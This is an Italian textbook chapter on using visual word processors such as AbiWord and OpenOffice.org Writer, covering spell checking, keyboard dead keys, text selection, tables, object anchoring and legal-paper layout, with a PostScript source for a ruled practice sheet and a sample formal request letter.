Dal momento che normalmente si usa la codifica universale, la scelta della specie alfabetica (ovvero dell'alfabeto) è una questione che riguarda semplicemente la configurazione della tastiera. Al massimo, può succedere che un certo gruppo stilistico non contenga i simboli necessari per l'alfabeto di proprio interesse, rendendo così necessaria la scelta di un gruppo stilistico adatto.

Figura 70.43. Quattro tipi di specie alfabetiche nello stesso flusso di testo. Sono evidenziate le direzioni del testo dei vari tipi di scrittura.

asdfg hjklò שדגכע יחלךף ασδφγ

ηξκλ΄ شسيبل اتنمك

фывап ролдж

70.3.6 Controllo ortografico

Una delle funzioni più comuni di un programma di scrittura visuale è il controllo ortografico, basato sulla corrispondenza delle parole con un dizionario, inteso come elenco preesistente di parole ritenute valide. In pratica, si tratta di un controllo di pura esistenza delle parole, privo di qualunque verifica sintattica.

Perché il controllo ortografico possa essere di una qualche utilità, è necessario distinguere il dizionario di riferimento in base alla lingua del documento. Di solito, la scelta del linguaggio predefinito dei documenti proviene dalla configurazione locale del sistema operativo (nei sistemi Unix si tratta della variabile di ambiente ***LANG*** ed eventualmente di altre variabili ***LC_****) e può essere modificato secondo la configurazione del programma stesso. Alcuni programmi consentono di specificare un linguaggio unico, altri permettono di attribuire il linguaggio a porzioni di testo, in modo differenziato.

Per quanto riguarda AbiWord, la configurazione relativa al controllo ortografico si raggiunge con `Modifica`, `Opzioni`, `Spell Checking`, come si vede nella figura successiva.

Figura 70.44. AbiWord: `Modifica`, `Opzioni`, `Spell Checking`.

Generale | Documents | Spell Checking

Generale

- [x] Controlla l'ortografia mentre scrivi
- [ ] Evidenzia le parole errate

Ignora le parole

- [x] Ignora le parole MAIUSCOLE
- [x] Ignora le parole con numeri

Vocabolari

- [ ] Suggerisci sempre le correzioni
- [ ] Suggerisci solo dal vocabolario principale

Automatic Grammar Checking

- [x] Check grammar as you type

Aiuto | Ripristina | Chiudi

Come si può osservare dalla figura, da questa finestra non si accede alla definizione della lingua da usare, perché AbiWord consente di indicare la lingua attraverso un'altra funzione, dove la si può dichiarare per tutto il documento, oppure per la sola porzione di testo selezionata.

Figura 70.45. AbiWord: `Strumenti`, `Lingua`. In questo modo è possibile definire la lingua predefinita del documento, oppure soltanto quella del testo selezionato.

Figura 70.46. AbiWord durante il funzionamento: si può vedere in basso a destra l'indicazione della lingua di riferimento per il testo selezionato. In questo caso la sigla è '**`fi-FI`**', pertanto la lingua è il finlandese.

OpenOffice.org Writer ha un sistema di controllo ortografico molto sofisticato, con la possibilità di attivare una correzione automatica in fase di scrittura; tuttavia manca la possibilità di attribuire il linguaggio particolare a delle porzioni di testo. Si accede alla configurazione della lingua da usare ai fini del controllo o della correzione ortografica, attraverso `Strumenti`, `Opzioni`, `Impostazioni lingua`. Da qui, la prima cosa da fare è dichiarare la lingua per il controllo ortografico, selezionando la voce `Lingue`; successivamente, si può scegliere invece la voce `Linguistica`, per la configurazione della modalità di intervento del controllo o della correzione ortografica.

Figura 70.47. OpenOffice.org Writer: `Strumenti`, `Opzioni`, `Impostazioni lingua`, `Lingue`. Per le funzioni del controllo ortografico, conta solo la parte destra centrale, nel riquadro con il titolo «Lingue standard per i documenti». Si può osservare che se la lingua scelta contiene la sigla «ABC», è possibile ottenere il controllo e la correzione ortografica.

Figura 70.48. OpenOffice.org Writer: `Strumenti`, `Opzioni`, `Impostazioni lingua`, `Linguistica`.

70.3.7 Correzione ortografica

In generale, è spiacevole che il programma di scrittura si permetta di correggere automaticamente quelli che «lui» ritiene essere errori di ortografia. Per esempio, diventa veramente scomodo quando un programma del genere mette a posto le maiuscole all'inizio dei periodi, perché non è sempre vero che ciò vada fatto nel modo in cui «lui» considera. Tuttavia, ci sono certe forme di correzione che diventano utili, in quanto richiamate espressamente e sottoposte al controllo dell'utilizzatore.

Di solito, il programma di scrittura viene configurato in modo da segnalare con una sottolineatura ondulata le parole che non rientrano nel vocabolario previsto. Così, l'utilizzatore può scegliere se correggerle o se lasciarle stare. Quando però si scrive con una lingua che non si conosce bene, può diventare conveniente chiedere un piccolo aiuto al programma, per avere il suggerimento delle parole alternative che potrebbero essere più corrette.

Di norma, quando una parola viene segnalata come errata o sconosciuta, è possibile portarvi sopra il puntatore del mouse e premere il tasto destro, per ottenere una tendina con i suggerimenti per la correzione. Oltre al problema di una lingua che non si conosce bene, in questo modo è possibile sopperire anche alla carenza di simboli della propria tastiera, che potrebbe essere inadeguata per quella lingua.

Figura 70.49. AbiWord mentre suggerisce la sostituzione di una parola finlandese.

Figura 70.50. OpenOffice.org Writer mentre suggerisce la sostituzione di una parola tedesca.

70.3.8 Simboli speciali e il limite della tastiera

Durante la scrittura è facile incontrare la necessità di inserire caratteri che la propria tastiera non consente di scrivere. Di solito i programmi di scrittura offrono la possibilità di inserire un carattere, cercandolo all'interno di un insieme limitato di simboli.

Figura 70.51. AbiWord: `Inserisci`, `Simbolo`. Il programma consente si scegliere l'insieme di caratteri e offre la possibilità di selezionare uno dei primi simboli di tale insieme.

Figura 70.52. OpenOffice.org Writer: `Inserisci`, `Carattere speciale`. Il programma consente si scegliere l'insieme di caratteri e offre la possibilità di selezionare uno, all'interno di un sottoinsieme di uso più comune.

Purtroppo, questo inserimento guidato dai programmi di scrittura, di solito limita l'accesso a un certo gruppo di simboli comuni. Per ovviare all'inconveniente, occorre servirsi di un programma specifico, come per esempio Gucharmap.[1]

Figura 70.53. Gucharmap.

A ogni modo, prima di rivolgersi a funzioni o a programmi del genere, è bene sfruttare completamente le possibilità della propria tastiera. Quando si utilizza il sistema grafico X, la configurazione italiana della tastiera prevede diversi accenti morti, che consentono di scrivere con la maggior parte delle lingue europee. La tabella successiva elenca le combinazioni e le sequenze di tasti da premere per ottenere i simboli più comuni.

Tabella 70.54. Funzioni speciali di una tastiera italiana con X.

Tasti	Descrizione o risultato
[*fissamaiuscole*]	Attivando le maiuscole con il tasto [*Fissamaiuscole*], si ottiene la conversione in maiuscolo di tutti i simboli che possono essere rappresentati in questo modo. Per esempio, la lettera «É» si ottiene con le maiuscole inserite e selezionando la lettera «é», cosa che richiede anche l'uso del tasto delle maiuscole normali.
[*AltGr e*], [*AltGr E*]	€, ¢
[*AltGr R*]	®
[*AltGr o*], [*AltGr O*]	ø, Ø
[*AltGr a*], [*AltGr A*]	æ, Æ
[*AltGr s*], [*AltGr S*]	ß, §
[*AltGr <*], [*AltGr >*]	«, »
[*AltGr c*], [*AltGr C*]	¢, ©
[*AltGr n*], [*AltGr N*]	ñ, Ñ
[*AltGr ,*]	Accento acuto morto
[*AltGr ,*][*a*], [*AltGr ,*][*A*], [*AltGr ,*][*i*], [*AltGr ,*][*I*],...	á, Á, í, Í,...
[*AltGr :*]	Dieresi morta

Tasti	Descrizione o risultato
[*AltGr :*][*a*], [*AltGr :*][*A*], [*AltGr :*][*e*], [*AltGr :*][*E*],...	ä, Ä, ë, Ë,...
[*AltGr ^*]	Accento circonflesso morto
[*AltGr ^*][*a*], [*AltGr ^*][*A*], [*AltGr ^*][*e*], [*AltGr ^*][*E*],...	â, Â, ê, Ê,...
[*AltGr §*], [*AltGr maiuscole ù*]	Accento *breve* morto
[*AltGr §*][*a*], [*AltGr §*][*A*], [*AltGr §*][*u*], [*AltGr §*][*U*],...	ă, Ă, ŭ, Ŭ,...
[*AltGr °*], [*AltGr maiuscole à*]	Accento tondo morto
[*AltGr °*][*a*], [*AltGr °*][*A*], [*AltGr °*][*u*], [*AltGr °*][*U*],...	å, Å, ů, Ů,...
[*AltGr –*]	Accento *macron* morto
[*AltGr –*][*a*], [*AltGr –*][*A*], [*AltGr –*][*e*], [*AltGr –*][*E*],...	ā, Ā, ē, Ē,...

Figura 70.55. Mappa della tastiera italiana secondo X, con gli accenti morti in evidenza.

70.3.9 Visualizzazione dei «caratteri non stampabili»

Quando si scrive un testo, lo spazio occupato dai caratteri viene creato contestualmente con la scrittura. In altri termini, dove non ci sono dei caratteri, anche se invisibili, c'è il vuoto. Oltre ai caratteri tipografici veri e propri, durante la scrittura si inseriscono dei codici che hanno una loro funzionalità, ma non devono essere resi tipograficamente nella stampa. Per esempio, il codice che identifica l'inserimento di una tabulazione, serve ad allineare il testo, ma non si rappresenta; nello stesso modo, lo spazio (normale o non interrompibile) esiste, ma non deve essere reso tipograficamente.

Durante la scrittura visuale, può essere utile avere un modo per individuare la presenza dei codici che in fase di stampa non devono essere resi, per sapere cosa è stato inserito realmente e per sapere dove arriva lo spazio usato dal testo.

Figura 70.56. Icona tipica per attivare o disattivare la visualizzazione dei simboli non stampabili.

Di norma, la funzione con cui si abilita o si disabilita la visualizzazione di questi simboli si raggiunge con `Visualizza`, `Caratteri non stampabili`, oppure con `Visualizza`, `Paragrafi`, o con altre varianti simili.

Figura 70.57. Un testo con i caratteri non stampabili in evidenza.

Ti·amo,¶
→ Ich·liebe·Dich,↵
I·love·you, → minä·rakastan·sinua,...¶
¶

70.3.10 Inserzione di codici con funzioni speciali

Come accennato nella sezione precedente, durante la scrittura si inseriscono anche codici che non corrispondono a dei caratteri da stampa veri e propri, in quanto rappresentano una funzione. Nelle situazioni più comuni si tratta dello spazio, delle tabulazioni e della conclusione dei paragrafi, ai quali si aggiungono poi quei codici che servono a interrompere il testo in qualche modo: per mandarlo a capo, pur non avendo concluso il paragrafo; per riprendere in una colonna successiva o in una pagina successiva.

I codici delle funzioni più comuni si ottengono generalmente con la tastiera, mentre quelli di «interruzione», spesso sono accessibili solo tramite il menù; di solito a partire da `inserisci`, `interruzione`.

Tabella 70.58. Inserimento di «caratteri non stampabili» attraverso la tastiera.

Tasti	Descrizione o risultato
[*barra−spaziatrice*]	Spazio.
[*Tab*]	Tabulazione.
[*Invio*]	Conclusione di un paragrafo.
[*Maiuscole Invio*]	Conclusione di una riga (manda a capo il testo, senza concludere il paragrafo).
[*Ctrl Invio*]	Conclusione della pagina (conclude il paragrafo e salta alla pagina successiva).

70.4 Selezione, spostamento, copia

Spesso, alcune operazioni comuni, come quelle che servono a tagliare, copiare e incollare il testo, possono essere svolte in vari modi alternativi, ma di norma l'utente ne conosce uno solo; in particolare l'utente tipico ignora completamente le possibilità della tastiera.

70.4.1 Selezione

La selezione di una porzione del documento serve per potervi poi associare un'operazione da compiere. In altri termini, con la selezione si individua l'ambito a cui successivamente vanno applicate delle funzioni.

La selezione di una sola parola può essere ottenuta con un clic doppio del primo tasto del mouse, quando il puntatore si trova sulla parola stessa:

clic doppio

Per correr miglior acque alza le vele
omai la navicella del mio ingegno,
che lascia dietro a sé mar sì crudele;

e canterò di quel secondo regno
dove l'umano spirito si purga
e di salire al ciel diventa degno.

parola selezionata

Per correr miglior acque alza le vele
omai la navicella del mio ingegno,
che lascia dietro a sé mar sì crudele;

e canterò di quel secondo regno
dove l'umano spirito si purga
e di salire al ciel diventa degno.

puntatore del mouse

La selezione di una porzione continua del documento si può ottenere con l'uso del mouse, premendo il tasto sinistro quando il puntatore si trova all'inizio della zona da selezionare, trascinando fino all'inizio della zona (per trascinamento si intende lo spostamento del puntatore del mouse, mentre si continua a tenere premuto il tasto sinistro). Al termine si rilascia il tasto sinistro. Se l'operazione di selezione viene ripetuta o se si sposta il cursore all'interno del testo, la selezione precedente viene perduta.

clic e trascinamento

Per correr miglior acque alza le vele
omai la navicella del mio ingegno,
che lascia dietro a sé mar sì crudele;

e canterò di quel secondo regno
dove l'umano spirito si purga
e di salire al ciel diventa degno.

Per correr miglior acque alza le vele
omai la navicella del mio ingegno,
che lascia dietro a sé mar sì crudele;

e canterò di quel secondo regno
dove l'umano spirito si purga
e di salire al ciel diventa degno.

si rilascia il tasto del mouse

La stessa cosa può essere ottenuta con l'uso della tastiera, portando il cursore all'inizio dell'area da selezionare, premendo quindi il tasto [*Maiuscole*] e, mantenendolo premuto, spostando il cursore fino alla fine dell'area da selezionare:

Per correr miglior acque alza le vele
omai la navicella del mio ingegno,
che lascia dietro a sé mar sì crudele;

e canterò di quel secondo regno
dove l'umano spirito si purga
e di salire al ciel diventa degno.

Per correr miglior acque alza le vele
omai la navicella del mio ingegno,
che lascia dietro a sé mar sì crudele;

e canterò di quel secondo regno
dove l'umano spirito si purga
e di salire al ciel diventa degno.

si rilascia il tasto Maiuscole

si preme il tasto Maiuscole e si tiene premuto

spostamento del cursore con la tastiera

Una selezione preesistente può essere estesa o ridotta, premendo nuovamente il tasto [*Maiuscole*] e raggiungendo la fine dell'area di proprio interesse. Per raggiungere la posizione

finale si può usare la tastiera o il mouse.

Per correr miglior acque alza le vele
omai la navicella del mio ingegno,
che lascia dietro a sé mar sì crudele;

e canterò di quel secondo regno
dove l'umano spirito si purga
e di salire al ciel diventa degno.

si preme il tasto Maiuscole e si tiene premuto

Per correr miglior acque alza le vele
omai la navicella del mio ingegno,
che lascia dietro a sé mar sì crudele;

e canterò di quel secondo regno
dove l'umano spirito si purga
e di salire al ciel diventa degno.

clic con il tasto sinistro del mouse e poi si rilascia il tasto Maiuscole

Per correr miglior acque alza le vele
omai la navicella del mio ingegno,
che lascia dietro a sé mar sì crudele;

e canterò di quel secondo regno
dove l'umano spirito si purga
e di salire al ciel diventa degno.

si preme il tasto Maiuscole e si tiene premuto

Per correr miglior acque alza le vele
omai la navicella del mio ingegno,
che lascia dietro a sé mar sì crudele;

e canterò di quel secondo regno
dove l'umano spirito si purga
e di salire al ciel diventa degno.

si rilascia il tasto Maiuscole

spostamento del cursore con la tastiera

Alcuni programmi consentono anche la selezione di aree multiple, mantenendo premuto il tasto [*Ctrl*]. In tal caso, però, le selezioni devono avvenire con l'ausilio del mouse.

70.4.2 Spostamento

Un'area già selezionata (selezione singola) può essere spostata con l'ausilio del mouse: si porta il puntatore grafico sopra l'area evidenziata, si preme il tasto sinistro e si trascina. Quando si rilascia il tasto sinistro del mouse, l'area selezionata viene collocata a partire dalla posizione in cui si trova il puntatore grafico.

clic e trascinamento

Per correr miglior acque alza le vele
omai la navicella del mio ingegno,
che lascia dietro a sé mar sì crudele;

e canterò di quel secondo regno
dove l'umano spirito si purga
e di salire al ciel diventa degno.

Per correr miglior acque alza le vele
la navicella del mio ingegno, omai
che lascia dietro a sé mar sì crudele;

e canterò di quel secondo regno
dove l'umano spirito si purga
e di salire al ciel diventa degno.

si rilascia il tasto del mouse

70.4.3 Taglia-copia-incolla

Una volta selezionata un'area di un documento, le operazioni più semplici che si possono compiere consistono nel ritaglio o nella copia di questa per poterla poi incollare in un'altra posizione. Il ritaglio o la copia comportano la memorizzazione in un'area transitoria, dalla quale si possono ottenere quante copie si vogliono.

Per queste operazioni si usano generalmente le funzioni del mouse, ma la tastiera può semplificarle di molto.

clic con il tasto destro per ottenere un menù contestuale

Per correr miglior acque alza le vele
omai del mio ingegno,
che lascia dietro a sé mar sì crudele;

e canterò di quel secondo regno
dove l'umano spirito si purga
e di salire al ciel diventa degno.

Taglia
Copia
Incolla

clic con il tasto sinistro del mouse per selezionare il ritaglio o la copia

clic con il tasto destro per ottenere un menù contestuale

Per correr miglior acque alza le vele
la navicella del mio ingegno, omai
che lascia dietro a sé mar sì crudele;

e canterò di quel secondo regno
dove l'umano spirito si purga
e di salire al ciel diventa degno.

Taglia
Copia
Incolla

clic con il tasto sinistro del mouse per selezionare la voce con cui si incolla

Tabella 70.66. Taglia-copia-incolla, con vari modi alternativi.

Taglia	Copia	Incolla
[*Ctrl x*]	[*Ctrl c*]	[*Ctrl v*]
	[*Ctrl Ins*]	[*Maiuscole Ins*]

Figura 70.67. Associazione tra i comandi da tastiera e le icone per tagliare, copiare e incollare.

70.5 Tabelle

I programmi di scrittura visuali consentono normalmente di inserire delle tabelle, che complessivamente prendono il posto che potrebbe occupare un paragrafo, dove all'interno di ogni cella, a loro volta, possono contenere più paragrafi.

In generale, le tabelle sono molto importanti per rappresentare sinteticamente dei dati; tuttavia, spesso la creazione e la modifica di questi componenti è poco pratica, soprattutto perché viene consentito di realizzare dei reticoli disomogenei. Pertanto, le tabelle vanno usate con criterio, per evitare di incontrare difficoltà eccessive rispetto all'obiettivo che ci si prefigge.

70.5.1 Creazione di una tabella

Per creare una tabella, si posiziona prima il cursore del testo nel punto in cui questa deve essere inserita, tenendo conto che ciò comporta l'aggiunta della conclusione di un paragrafo. Pertanto, se si cerca di inserire una tabella a metà di una riga che contiene del testo, quella riga viene divisa.

Generalmente, i programmi di scrittura dispongono del menù `Tabella` o `Tabelle`, per raccogliere le funzioni di creazione e di modifica di questi componenti, ma spesso si aggiunge un'icona per la creazione rapida, nella barra degli strumenti.

Figura 70.68. AbiWord: `Tabelle`, `Inserisci tabella`, `Tabella`.

Dimensione della Tabella
Numero di colonne: 5
Numero di righe: 2
Grandezza delle Colonne
Dimensione automatica colonna
Dimensione fissa della colonna: 17,8 inch
Aiuto
Annulla
Inserisci

Figura 70.69. OpenOffice.org Writer: `Tabella`, `Inserisci`, `Tabella`.

Generalmente, la tabella che si inserisce va occupare tutto lo spazio che potrebbe prendere un paragrafo di testo normale, pertanto si allinea ai bordi orizzontali, inoltre le colonne assumono una larghezza uguale tra di loro.

Di solito, dopo la creazione, si procede alla modifica della larghezza delle colonne, con l'aiuto del mouse, portando il puntatore a cavallo delle colonne e trascinando. Purtroppo, questo tipo di operazione non comporta dei risultati uniformi tra un programma e l'altro, così può capitare che venga adattata la larghezza della colonna di sinistra, compensando con quella della colonna a destra, oppure spostando le altre colonne di conseguenza. Così facendo, l'inizio della prima colonna può essere portato anche oltre il margine sinistro e la fine dell'ultima colonna può andare oltre il margine destro. Ovviamente questi debordamenti sono da evitare se si vuole ottenere un risultato estetico gradevole.

70.5.2 Interazione con le tabelle

In presenza di una tabella, le funzioni della tastiera e del mouse cambiano leggermente, in modo abbastanza intuitivo. Per quanto riguarda la tastiera, il tasto che di norma serve a inserire delle tabulazioni in un testo normale [*Tab*], nella tabella serve a passare alla cella successiva, oppure a quella precedente se si aggiungono le maiuscole [*Maiuscole Tab*]. Inoltre, quando ci si trova nell'ultima cella della tabella, l'uso del tasto [*Tab*] comporta la creazione implicita di una nuova riga.

Quando si vuole selezionare il contenuto di una riga o di una colonna di una tabella, si avvicina il puntatore del mouse all'inizio della riga (di solito a sinistra) o all'inizio della colonna (di solito in alto) e quindi si seleziona. Una volta selezionata una riga o una colonna, spesso, con il tasto destro del mouse si ottiene un menù contestuale.

70.5.3 Righe, colonne e fusione delle celle

Una volta creata una tabella, è normale trovarsi a doverne modificare la struttura di righe e colonne, così come può capitare l'utilità di unire assieme più celle.

Per gli interventi su righe o colonne, generalmente si seleziona prima una riga o una colonna, per dare poi l'ordine di eliminazione o di inserimento. Queste funzioni sono accessibili normalmente dal menù `Tabella` o `Tabelle`, oppure, spesso anche dal menù contestuale che si ottiene di solito premendo il tasto destro del mouse.

Per la fusione delle celle, il procedimento dipende molto dal programma. Con OpenOffice.org Writer è necessario selezionare le celle da unire, usando il mouse come se si volesse selezionare del testo, quindi si deve accedere al menù: `Tabella`, `Collega celle`. Con AbiWord occorre mettere il cursore del testo nella cella da espandere, senza selezionare alcunché, quindi, dal menù si deve selezionare `Tabelle`, `Unisci celle`, dove si deve indicare da che parte si vuole espandere la cella attuale.

Figura 70.70. AbiWord: a sinistra `Tabelle`, `Unisci celle`; a destra `Tabelle`, `Separa celle`. I pulsanti grafici che si vedono nella finestra, possono essere usati ripetutamente, per unire o dividere le celle, a passi successivi.

Unisci celle
Unisci a sinistra
Unisci a destra
Unisci sopra
Unisci sotto
Aiuto
Chiudi

Dividi Cella
Dividi a sinistra
Dividi al centro
Dividi a destra
Dividi in alto
Dividi al centro
Dividi in basso
Aiuto
Chiudi

Contrariamente a ciò che si potrebbe pensare, di norma, la separazione delle celle è una funzione che riguarda qualunque cella, anche quelle che non hanno subito in precedenza alcuna

fusione. Quindi, attraverso le funzioni di separazione, è possibile costruire tabelle con griglie molto disomogenee. Naturalmente, per questo tipo di operazione, occorre avere prima selezionato la cella da dividere, cosa che si ottiene normalmente collocandoci dentro il cursore del testo.

Figura 70.71. OpenOffice.org: `Tabella`, `Dividi celle`. Nella finestra che si ottiene, occorre specificare da che parte dividere lo spazio della cella.

70.5.4 Bordi e sfondi

Le caratteristiche più comuni che si possono regolare nelle celle di una tabella sono i bordi e gli sfondi. Ciò permette di evidenziare i contenuti in modo da facilitarne l'interpretazione.

Figura 70.72. AbiWord: `Tabelle`, `Formato tabella`.

Figura 70.73. OpenOffice.org: `Tabella`, `Proprietà tabella`, `Bordo`.

Figura 70.74. OpenOffice.org: `Tabella`, `Proprietà tabella`, `Sfondo`.

70.5.5 Righe di intestazione

Quando si realizza una tabella e si vuole consentire che questa si divida tra le pagine o tra le colonne della pagina, di solito è utile fare in modo che una o più righe iniziali vengano ripetute dopo il salto pagina o dopo il cambiamento di colonna. In pratica, conviene fare in modo che vengano ripetute le intestazioni delle colonne della tabella. Si tratta comunque di una funzionalità che non è sempre presente, ma se c'è è bene sfruttarla.

Figura 70.75. OpenOffice.org: `Tabella`, `Proprietà tabella`, `Flusso di testo`.

70.5.6 Copia dal foglio elettronico

Quando si copia un lavoro fatto con un foglio elettronico nel programma di scrittura, il risultato che si ottiene può essere di tipo differente, a seconda della compatibilità reciproca che c'è tra i due programmi.

Nella migliore delle ipotesi si ottiene l'inserzione di un «oggetto», che si può gestire come un'immagine, ma che funziona effettivamente come nel foglio elettronico di origine. In questo caso dovrebbero persistere le funzionalità originali, soprattutto le formule.

Quando la tabella del foglio elettronico non si può incorporare nel testo, si potrebbe ottenere una trasformazione in una tabella normale per un programma di scrittura, oppure, si potrebbe arrivare a una degradazione in forma di immagine pura e semplice.

70.6 Incorporazione di oggetti

Ciò che si inserisce normalmente in un documento realizzato con un programma di scrittura visuale è del testo raggruppato in paragrafi, che eventualmente può essere organizzato in forma tabellare. Per aggiungere al documento qualche componente in più, come per esempio nel caso di una figura, occorre definire uno spazio rettangolare, che in qualche modo va ancorato nel documento.

I componenti rettangolari che si inseriscono in un documento possono essere considerati genericamente degli «oggetti». Di solito si tratta solo di riquadri contenenti del testo o di immagini,

ma i programmi più sofisticati possono consentire l'inserzione di altri tipi di oggetti, purché abbiano una qualche rappresentazione visuale.

70.6.1 Scorrimento

Quando si inserisce un oggetto in un documento, occorre decidere in che modo il testo deve scorrere in prossimità di questo. La cosa più semplice, concettualmente, anche se le situazioni pratiche in cui torna utile sono poche, è quella dell'inserimento nel testo stesso, come se si trattasse di un carattere. In tal caso, l'oggetto si sposta assieme allo scorrere del testo. Ovviamente, un'inserzione del genere è utile solo quando si tratta di oggetti che occupano uno spazio molto piccolo, soprattutto dove l'altezza non è tale da disturbare in confronto all'altezza normale del testo in cui si inserisce.

Figura 70.76. Una piccola immagine inserita come se fosse un carattere.

Un'altra modalità di scorrimento molto semplice è quella separata dall'oggetto, per cui il riquadro dell'oggetto occupa uno spazio orizzontale tutto suo e il testo non gli si affianca.

Figura 70.77. Scorrimento separato del testo rispetto all'oggetto.

Le modalità più comuni per lo scorrimento del testo rispetto a un oggetto sono quelle che lo fanno passare a fianco, distinguendo se questo scorrimento debba avvenire a sinistra, a destra o da entrambi i lati dell'oggetto. Inoltre, il testo potrebbe sovrapporsi all'oggetto, come se questo facesse parte di uno sfondo.

Figura 70.78. Si vedono tre oggetti: quello che appare alla sinistra prevede uno scorrimento del testo sulla destra; quello al centro prevede uno scorrimento da entrambi i lati; quello a destra prevede uno scorrimento del testo a sinistra.

Come si vede dalla figura, quando un oggetto prevede lo scorrimento da un lato solo, dall'altro lato, anche se non c'è nulla, rimane dello spazio vuoto. Quando si sposta l'oggetto manualmente, ma si desidera sempre che il testo scorra da uno dei lati, può essere conveniente lasciare che la scelta di questo lato avvenga dinamicamente (automaticamente).

Figura 70.79. AbiWord: `Formato`, `Immagine`; dettaglio della scelta del tipo di scorrimento del testo attorno all'immagine.

Figura 70.80. OpenOffice.org Writer: `Formato`, `Cornice`, `Scorrimento`, oppure `Formato`, `Immagine`, `Scorrimento`, a seconda del tipo di oggetto.

Tipo | Extra | Scorrimento | Hyperlink | Bordo | Sfondo | Macro

Predefiniti

Senza Prima Dopo Parallelo

Attraverso Dinamico

Distanze

Sinistra 0,00cm

Destra 0,00cm

In alto 0,00cm

Basso 0,00cm

Opzioni

Primo paragrafo

Attraverso trasparente

Contorno

Solo esterno

OK Annulla ? Ripristina

70.6.2 Ancoraggio

Quando si inseriscono degli oggetti in un documento, occorre stabilire in che modo questi vengono fissati allo stesso. Di solito si distinguono tre casi: l'ancoraggio alla pagina, al paragrafo o a un certo carattere. In pratica, a seconda di ciò che si prende come riferimento, l'immagine potrebbe spostarsi per adattarsi alle variazioni che si apportano al documento.

OpenOffice.org Writer considera in modo particolare l'ancoraggio di un'immagine come carattere. In pratica, quanto descritto a questo proposito nella sezione dedicata allo scorrimento, viene trattato da OpenOffice.org come parte del problema dell'ancoraggio.

Figura 70.81. AbiWord: `Formato`, `Immagine`; dettaglio della scelta del tipo di ancoraggio dell'immagine.

Define Image Placement

Position relative to nearest paragraph

Position relative to its Column

Position relative to its Page

Figura 70.82. OpenOffice.org Writer: `Formato`, `Ancoraggio`.

Ancoraggio
Scorrimento
Allineamento
Disponi
Rispecchia
Raggruppa

Alla pagina
Al paragrafo
Al carattere
Come carattere
Alla cornice

70.7 Carta legale

Alcuni tipi di documento vanno redatti utilizzando della carta speciale, predisposta appositamente con margini e righe segnati. In questi casi si dice che il tale documento deve essere redatto «in carta legale». I modelli dei fogli adatti per la scrittura di documenti di questo tipo possono essere predisposti per la scrittura manuale o a macchina da scrivere, oppure per l'inserimento in una stampante. A seconda dei casi, i margini esatti possono variare leggermente, così come la spaziatura tra le righe, pertanto, a seconda della carta disponibile effettivamente, occorre adattare le misure del proprio documento elettronico.

Figura 70.83. Aspetto del modello didattico di carta «uso bollo», da usare per le esercitazioni.

modello di carta legale per uso didattico

70.7.1 Modello didattico

Per facilitare le esercitazioni di scrittura di documenti destinati alla stampa su carta legale, viene proposto un modello stampabile per un foglio A4, che simula la carta di questo tipo. Questo modello va stampato con la stessa stampante che si usa poi per stampare le esercitazioni, perché ogni stampante introduce un piccolo sfasamento dell'immagine, che così rimarrebbe uniforme.

Figura 70.84. Sorgente del modello didattico di carta «uso bollo», da usare per le esercitazioni.

```
%!PS-Adobe-2.0
%%DocumentPaperSizes: a4
%%EndComments
%%EndProlog
%
% Modello di foglio per bollato per la carta A4.
%
%%Page: 1 1
%
% Definizione dell'unità «cm».
%
/cm { 28.34645 mul } bind def
%
% Definizione dell'utilizzo dell'unità «cm».
%
1 cm dup scale
%
% Spessore delle linee (1/50 di cm, pari a 0,2 mm).
%
1 50 div setlinewidth
%
% Dichiara le intenzioni.
%
/Helvetica findfont 00.30 scalefont setfont
03.00  00.80  moveto (modello di carta legale per uso didattico) show
%
% Traccia le linee verticali dei margini.
%
02.50  00.00  moveto  02.50  29.70  lineto stroke
16.00  00.00  moveto  16.00  29.70  lineto stroke
%
% Traccia le linee orizzontali.
%
00.00  01.20  moveto  21.00  01.20  lineto stroke
00.00  02.20  moveto  21.00  02.20  lineto stroke
00.00  03.20  moveto  21.00  03.20  lineto stroke
00.00  04.20  moveto  21.00  04.20  lineto stroke
00.00  05.20  moveto  21.00  05.20  lineto stroke
00.00  06.20  moveto  21.00  06.20  lineto stroke
00.00  07.20  moveto  21.00  07.20  lineto stroke
00.00  08.20  moveto  21.00  08.20  lineto stroke
00.00  09.20  moveto  21.00  09.20  lineto stroke
00.00  10.20  moveto  21.00  10.20  lineto stroke
```

```
00.00  11.20  moveto  21.00  11.20  lineto stroke
00.00  12.20  moveto  21.00  12.20  lineto stroke
00.00  13.20  moveto  21.00  13.20  lineto stroke
00.00  14.20  moveto  21.00  14.20  lineto stroke
00.00  15.20  moveto  21.00  15.20  lineto stroke
00.00  16.20  moveto  21.00  16.20  lineto stroke
00.00  17.20  moveto  21.00  17.20  lineto stroke
00.00  18.20  moveto  21.00  18.20  lineto stroke
00.00  19.20  moveto  21.00  19.20  lineto stroke
00.00  20.20  moveto  21.00  20.20  lineto stroke
00.00  21.20  moveto  21.00  21.20  lineto stroke
00.00  22.20  moveto  21.00  22.20  lineto stroke
00.00  23.20  moveto  21.00  23.20  lineto stroke
00.00  24.20  moveto  21.00  24.20  lineto stroke
00.00  25.20  moveto  21.00  25.20  lineto stroke
%
showpage
%%Trailer
%%EOF
```

70.7.2 Impaginazione

In base al modello presentato nella sezione precedente, l'impaginazione del testo richiede le caratteristiche seguenti:

Parametro	Valore
margine sinistro	2,70 cm
margine destro	5,30 cm
margine superiore	3,50 cm
margine inferiore	1,00 cm
interlinea fissa	1,00 cm

Nel caso di misure da esprimere in punti tipografici (PostScript), i valori si convertono nel modo seguente:

Parametro	Valore
margine sinistro	76,54 punti
margine destro	150,24 punti
margine superiore	99,21 punti
margine inferiore	28,35 punti
interlinea fissa	28,35 punti

70.7.3 Esercizio

Si scriva la richiesta seguente, seguendo il più possibile l'esempio. Il carattere tipografico utilizzato qui è precisamente il «FreeMono», con corpo di 12 punti tipografici (PostScript), ma in mancanza di questo carattere particolare, se ne può usare un altro di tipo dattilografico (a spaziatura uniforme), con un corpo simile.

```
Al Magnifico Rettore dell'università degli studi,
via Belenzani, 12, 38100 Trento
La sottoscritta, Martina Calpurnia, nata a Treviso
il 12 dicembre 1969, residente a Ponzano Veneto
(TV) C.A.P. 31050, in via delle sorgenti n. 1,
avendo conseguito l'abilitazione all'esercizio
della professione di dottore commercialista nella
prima sessione dell'anno 2002
                        chiede
il rilascio del certificato sostitutivo del diploma
di abilitazione all'esercizio della professione di
dottore commercialista.
Trento, 12 dicembre 2002
                                  Martina Calpurnia
```

modello di carta legale per uso didattico

